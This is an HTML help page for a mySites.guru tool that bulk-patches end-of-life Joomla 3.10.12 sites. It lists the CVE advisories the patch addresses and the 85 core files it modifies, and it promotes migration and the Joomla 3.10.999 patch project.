&lt;p&gt;Both paths lead to a tool overview page listing every Joomla 3.10.12 site you manage, along with each site’s current patch status.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.01.34-1024x910.CMNRbbVB_10z02.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.01.34-1024x910.CMNRbbVB_2qndgn.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.01.34-1024x910.CMNRbbVB_1w3zqX.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.01.34-1024x910.CMNRbbVB_Z2lmhni.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.01.34-1024x910.CMNRbbVB_10z02.webp 1024w&quot; alt=&quot;Fix All Known Joomla 3 End Of Life Security Issues overview screen&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;910&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How Do You Patch Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;Got dozens or hundreds of Joomla 3 sites? Click the grid icon next to the toggle to open the bulk view. It shows every Joomla 3.10.12 site with individual toggles. If you’re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard, this bulk view is where you’ll spend most of your time.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.59.06-1.BCBTw5q3_1diIEK.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.59.06-1.BCBTw5q3_1diIEK.webp 94w&quot; alt=&quot;View Joomla 3 security patch status across all sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 94px) 94px, 100vw&quot; width=&quot;94&quot; height=&quot;80&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Direct link: &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What vulnerabilities does it fix?&lt;/h2&gt;
&lt;p&gt;Individually, most of these will not get your site hacked while you sleep. But stacked together across an unpatched site, they add up, and a few (the SHTML upload, the SSRF, the cache directory-deletion) are serious on their own. The patch covers 85 files and addresses &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;every known vulnerability disclosed since 3.10.12&lt;/a&gt;:&lt;/p&gt;
&lt;h3&gt;XSS vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21724&quot;&gt;CVE-2024-21724&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/927-20240203-core-xss-in-media-selection-fields.html&quot;&gt;XSS in media selection fields&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21725&quot;&gt;CVE-2024-21725&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/928-20240204-core-xss-in-mail-address-outputs.html&quot;&gt;XSS in mail address outputs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21726&quot;&gt;CVE-2024-21726&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/929-20240205-core-inadequate-content-filtering-within-the-filter-code.html&quot;&gt;Inadequate content filtering within the filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21731&quot;&gt;CVE-2024-21731&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/937-20240703-core-xss-in-stringhelper-truncate-method.html&quot;&gt;XSS in StringHelper::truncate method&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26278&quot;&gt;CVE-2024-26278&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/939-20240705-core-xss-in-com-fields-default-field-value.html&quot;&gt;XSS in com_fields default field value&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-26279&quot;&gt;CVE-2024-26279&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/938-20240704-core-xss-in-wrapper-extensions.html&quot;&gt;XSS in Wrapper extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40743&quot;&gt;CVE-2024-40743&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/946-20240805-core-xss-vectors-in-outputfilter-strip-methods.html&quot;&gt;XSS vectors in Outputfilter::strip* methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40747&quot;&gt;CVE-2024-40747&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/954-20250101-core-xss-vectors-in-module-chromes.html&quot;&gt;XSS vectors in module chromes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40748&quot;&gt;CVE-2024-40748&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/955-20250102-core-xss-vector-in-the-id-attribute-of-menu-lists.html&quot;&gt;XSS vector in the id attribute of menu lists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-63083&quot;&gt;CVE-2025-63083&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1017-20260102-core-xss-vector-in-the-pagebreak-plugin.html&quot;&gt;XSS vector in the pagebreak plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48954&quot;&gt;CVE-2026-48954&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1062-20260708-core-xss-through-language-overrides.html&quot;&gt;XSS through language overrides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-54476&quot;&gt;CVE-2025-54476&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1010-20250901-core-inadequate-content-filtering-within-the-checkattribute-filter-code.html&quot;&gt;Inadequate content filtering in the checkAttribute filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-63082&quot;&gt;CVE-2025-63082&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1016-20260101-core-inadequate-content-filtering-for-data-urls.html&quot;&gt;Inadequate content filtering for data URLs&lt;/a&gt; &lt;em&gt;(Joomla says 4.0+, the code is also in 3.10.12)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25900&quot;&gt;CVE-2026-25900&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1033-20260501-core-xss-in-feed-modules.html&quot;&gt;XSS in feed modules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-30894&quot;&gt;CVE-2026-30894&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1035-20260503-core-xss-in-com-contenthistory.html&quot;&gt;XSS in com_contenthistory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48903&quot;&gt;CVE-2026-48903&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1051-20260519-framework-inadequate-content-filtering-within-the-checkattribute-filter-code.html&quot;&gt;Inadequate content filtering in the checkAttribute filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48905&quot;&gt;CVE-2026-48905&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1052-20260520-framework-inadequate-content-filtering-within-the-cleanattributes-filter-code.html&quot;&gt;Inadequate content filtering in the cleanAttributes filter code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90906&quot;&gt;CVE-2026-90906&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1081-20260901-core-xss-in-htmlhelper-link-method.html&quot;&gt;XSS in the HTMLHelper::link method&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92225&quot;&gt;CVE-2026-92225&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1092-20260912-core-xss-in-module-list.html&quot;&gt;XSS in the module list&lt;/a&gt; &lt;em&gt;(Joomla says 4.0+, the code is also in 3.10.12)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92231&quot;&gt;CVE-2026-92231&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1095-20260915-core-xss-filter-bypass-in-inputfilter-via-html5-entity-decode-mismatch.html&quot;&gt;XSS filter bypass in InputFilter via HTML5 entity decode mismatch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92232&quot;&gt;CVE-2026-92232&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1096-20260916-core-xss-filter-bypass-in-inputfilter-via-whitespace-characters-in-html-data-uris.html&quot;&gt;XSS filter bypass in InputFilter via whitespace in HTML data URIs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other vulnerabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27184&quot;&gt;CVE-2024-27184&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/941-20240801-core-inadequate-validation-of-internal-urls.html&quot;&gt;Inadequate validation of internal URLs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27185&quot;&gt;CVE-2024-27185&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/942-20240802-core-cache-poisoning-in-pagination.html&quot;&gt;Cache poisoning in pagination&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21723&quot;&gt;CVE-2024-21723&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/926-20240202-core-open-redirect-in-installation-application.html&quot;&gt;Open redirect in installation application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21722&quot;&gt;CVE-2024-21722&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/925-20240201-core-insufficient-session-expiration-in-mfa-management-views.html&quot;&gt;Insufficient session expiration in MFA management views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-40626&quot;&gt;CVE-2023-40626&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/919-20231101-core-exposure-of-environment-variables.html&quot;&gt;Exposure of environment variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40749&quot;&gt;CVE-2024-40749&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/956-20250103-core-read-acl-violation-in-multiple-core-views.html&quot;&gt;Read ACL violation in multiple core views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-22213&quot;&gt;CVE-2025-22213&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/961-20250301-core-malicious-file-uploads-via-media-manager.html&quot;&gt;Malicious file uploads via Media Manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-25226&quot;&gt;CVE-2025-25226&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/963-20250401-framework-sql-injection-vulnerability-in-quotenamestr-method-of-database-package.html&quot;&gt;SQL injection in the quoteNameStr method of the database package&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48948&quot;&gt;CVE-2026-48948&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1056-20260702-core-incorrect-access-control-in-com-contact-vcf-download.html&quot;&gt;Incorrect access control in the com_contact vCard download&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71572&quot;&gt;CVE-2026-71572&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1068-20260801-core-response-header-injection-in-download-views.html&quot;&gt;Response header injection in download views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73373&quot;&gt;CVE-2026-73373&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1077-20260810-core-unrestricted-uploads-of-shtml-files.html&quot;&gt;Unrestricted uploads of SHTML files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48902&quot;&gt;CVE-2026-48902&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1050-20260518-core-transport-encryption-downgrade-for-password-and-username-reset-links.html&quot;&gt;Transport encryption downgrade for password and username reset links&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40383&quot;&gt;CVE-2026-40383&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1041-20260509-core-lfi-in-htmlview-layout-parameter.html&quot;&gt;Local file inclusion in the HtmlView layout parameter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90907&quot;&gt;CVE-2026-90907&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1082-20260902-core-unauthorized-user-account-creation-via-profile-save-controller.html&quot;&gt;Unauthorized user account creation via the profile.save controller&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92222&quot;&gt;CVE-2026-92222&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1089-20260909-core-ssrf-vectors-in-various-core-extensions.html&quot;&gt;SSRF vectors in various core extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90915&quot;&gt;CVE-2026-90915&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1085-20260905-core-arbitrary-directory-deletion-via-cache-purge-action.html&quot;&gt;Arbitrary directory deletion via the cache purge action&lt;/a&gt; &lt;em&gt;(Joomla says 4.0+, the code is also in 3.10.12)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90916&quot;&gt;CVE-2026-90916&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1086-20260906-core-improper-acl-checks-in-content-history-comparsion-view.html&quot;&gt;Improper ACL checks in the content history comparison view&lt;/a&gt; &lt;em&gt;(Joomla says 4.0+, the code is also in 3.10.12)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90917&quot;&gt;CVE-2026-90917&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/1087-20260907-core-improper-acl-checks-in-outputs-for-tagged-items.html&quot;&gt;Improper ACL checks in outputs for tagged items&lt;/a&gt; &lt;em&gt;(Joomla says 4.0+, the code is also in 3.10.12)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;eLTS bug-fix-for-bug-fix patches&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fixes in 3.10.19-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/12/files&quot;&gt;repair broken code shipped in 3.10.18-elts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fixes in 3.10.18-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/11/files&quot;&gt;repair broken code shipped in 3.10.17-elts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Do Patched Files Show Up in Audits?&lt;/h2&gt;
&lt;p&gt;After patching, your mySites.guru audit will flag the modified files as Core File Changes, because they &lt;em&gt;are&lt;/em&gt; changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.09.58-1024x700.mZ7H2WHt_ZqGq3n.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.09.58-1024x700.mZ7H2WHt_Z1KE7xK.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.09.58-1024x700.mZ7H2WHt_Z18FaVq.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.09.58-1024x700.mZ7H2WHt_22DrmP.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.09.58-1024x700.mZ7H2WHt_ZqGq3n.webp 1024w&quot; alt=&quot;File diff in mySites.guru&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;700&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.10.33-1024x323.Bnz76n0M_Z20kfrt.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-17.10.33-1024x323.Bnz76n0M_972bl.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.10.33-1024x323.Bnz76n0M_ZAKhOj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.10.33-1024x323.Bnz76n0M_Z1n7BPw.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-17.10.33-1024x323.Bnz76n0M_Z20kfrt.webp 1024w&quot; alt=&quot;File diff detail&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;323&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Which Files Does the Patch Modify?&lt;/h2&gt;
&lt;p&gt;The tool touches 85 files: 43 PHP files (the actual security fixes), 37 XML form definitions (tighter input validation), three language files and two CA certificate bundles. You need all of them. Changing the XML alone isn’t enough.&lt;/p&gt;
&lt;p&gt;Eighty-four of those are replaced with patched versions. One is a file Joomla 3 never shipped at all: the form rule behind the language override fix. Toggling on creates it, and toggling off deletes it again.&lt;/p&gt;
Full list of patched files (85 files)&lt;ul&gt;
&lt;li&gt;administrator/components/com_banners/models/forms/banner.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_categories/models/forms/category.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_config/model/form/application.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/config.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/models/forms/contact.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contenthistory/models/compare.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_contenthistory/views/preview/tmpl/preview.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_fields/models/forms/field.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_joomlaupdate/config.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_languages/models/forms/override.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_languages/models/rules/disallowquotes.php &lt;em&gt;(added, not replaced)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;administrator/components/com_media/controllers/file.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_separator.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_container.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_modules/views/modules/tmpl/default.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_newsfeeds/models/forms/newsfeed.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_tags/models/forms/tag.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_users/models/user.php&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.com_config.ini&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.com_languages.ini&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.lib_joomla.ini&lt;/li&gt;
&lt;li&gt;administrator/modules/mod_feed/mod_feed.xml&lt;/li&gt;
&lt;li&gt;administrator/modules/mod_feed/tmpl/default.php&lt;/li&gt;
&lt;li&gt;administrator/templates/hathor/templateDetails.xml&lt;/li&gt;
&lt;li&gt;administrator/templates/isis/templateDetails.xml&lt;/li&gt;
&lt;li&gt;components/com_contact/views/contact/view.vcf.php&lt;/li&gt;
&lt;li&gt;components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;components/com_content/views/archive/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_finder/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_privacy/controller.php&lt;/li&gt;
&lt;li&gt;components/com_privacy/privacy.php&lt;/li&gt;
&lt;li&gt;components/com_search/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/list.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tags/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_users/controller.php&lt;/li&gt;
&lt;li&gt;components/com_users/controllers/profile.php&lt;/li&gt;
&lt;li&gt;components/com_users/models/profile.php&lt;/li&gt;
&lt;li&gt;components/com_users/models/remind.php&lt;/li&gt;
&lt;li&gt;components/com_users/models/reset.php&lt;/li&gt;
&lt;li&gt;components/com_users/users.php&lt;/li&gt;
&lt;li&gt;components/com_users/views/login/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_wrapper/views/wrapper/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;includes/framework.php&lt;/li&gt;
&lt;li&gt;libraries/cms/html/string.php&lt;/li&gt;
&lt;li&gt;libraries/fof/download/adapter/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/joomla/database/driver.php&lt;/li&gt;
&lt;li&gt;libraries/src/Cache/Cache.php&lt;/li&gt;
&lt;li&gt;libraries/src/Cache/Storage/FileStorage.php&lt;/li&gt;
&lt;li&gt;libraries/src/Feed/Parser/RssParser.php&lt;/li&gt;
&lt;li&gt;libraries/src/Filter/InputFilter.php&lt;/li&gt;
&lt;li&gt;libraries/src/Form/Rule/UrlRule.php&lt;/li&gt;
&lt;li&gt;libraries/src/Helper/MediaHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/Helper/ModuleHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/Helper/TagsHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/HTML/HTMLHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/Http/Transport/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/src/Language/LanguageHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/MVC/View/HtmlView.php&lt;/li&gt;
&lt;li&gt;libraries/src/Pagination/Pagination.php&lt;/li&gt;
&lt;li&gt;libraries/src/Uri/Uri.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/InputFilter.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/OutputFilter.php&lt;/li&gt;
&lt;li&gt;modules/mod_custom/mod_custom.xml&lt;/li&gt;
&lt;li&gt;modules/mod_feed/mod_feed.xml&lt;/li&gt;
&lt;li&gt;modules/mod_feed/tmpl/default.php&lt;/li&gt;
&lt;li&gt;modules/mod_menu/tmpl/default.php&lt;/li&gt;
&lt;li&gt;modules/mod_tags_popular/helper.php&lt;/li&gt;
&lt;li&gt;modules/mod_tags_similar/helper.php&lt;/li&gt;
&lt;li&gt;modules/mod_wrapper/mod_wrapper.xml&lt;/li&gt;
&lt;li&gt;plugins/content/pagebreak/pagebreak.php&lt;/li&gt;
&lt;li&gt;plugins/system/sef/sef.xml&lt;/li&gt;
&lt;li&gt;plugins/user/profile/profile.php&lt;/li&gt;
&lt;li&gt;plugins/user/profile/profiles/profile.xml&lt;/li&gt;
&lt;li&gt;templates/beez3/templateDetails.xml&lt;/li&gt;
&lt;li&gt;templates/protostar/templateDetails.xml&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does Joomla 3 Still Matter?&lt;/h2&gt;
&lt;p&gt;Joomla 3 is still everywhere. &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla/3&quot;&gt;W3Techs&lt;/a&gt; shows version 3 running on the majority of Joomla installations, and Joomla’s own &lt;a href=&quot;https://developer.joomla.org/about/stats.html&quot;&gt;usage statistics&lt;/a&gt; put 3.10.x at over 35% of reporting sites.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-15.57.13.wAnDnkx2_254boh.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-15.57.13.wAnDnkx2_Z1QTII8.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.57.13.wAnDnkx2_2pIGfW.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.57.13.wAnDnkx2_O1fH.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-21-15.57.13.wAnDnkx2_254boh.webp 968w&quot; alt=&quot;Joomla version usage statistics&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 968px) 968px, 100vw&quot; width=&quot;968&quot; height=&quot;490&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.02.58.Cz2LLog__ZAwJ7.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.02.58.Cz2LLog__Z1FOa7n.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-21-16.02.58.Cz2LLog__14ikoF.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-21-16.02.58.Cz2LLog__ZAwJ7.webp 818w&quot; alt=&quot;Joomla usage statistics breakdown&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 818px) 818px, 100vw&quot; width=&quot;818&quot; height=&quot;934&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you run a &lt;a href=&quot;https://mysites.guru/&quot;&gt;digital agency&lt;/a&gt;, you already know: &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;migrating clients from Joomla 3&lt;/a&gt; to 4 or 5 takes budget, developer time, and client sign-off. That doesn’t happen overnight, and the sites still need protecting in the meantime.&lt;/p&gt;
&lt;h2&gt;What Is the Joomla 3.10.999 Project?&lt;/h2&gt;
&lt;p&gt;The patches in mySites.guru come from the open-source &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;. That repo has every Joomla 3.10 version from 3.10.12 onwards, plus diffs for all patches released under the commercial eLTS programme.&lt;/p&gt;
&lt;p&gt;Same approach as the earlier &lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt; repos. It’ll be maintained for as long as Joomla 3 sites exist.&lt;/p&gt;
&lt;h2&gt;Stop patching files by hand&lt;/h2&gt;
&lt;p&gt;If you’re still running Joomla 3, stop tracking CVEs by hand. Add your sites to mySites.guru, flip the toggle, and get on with your day.&lt;/p&gt;
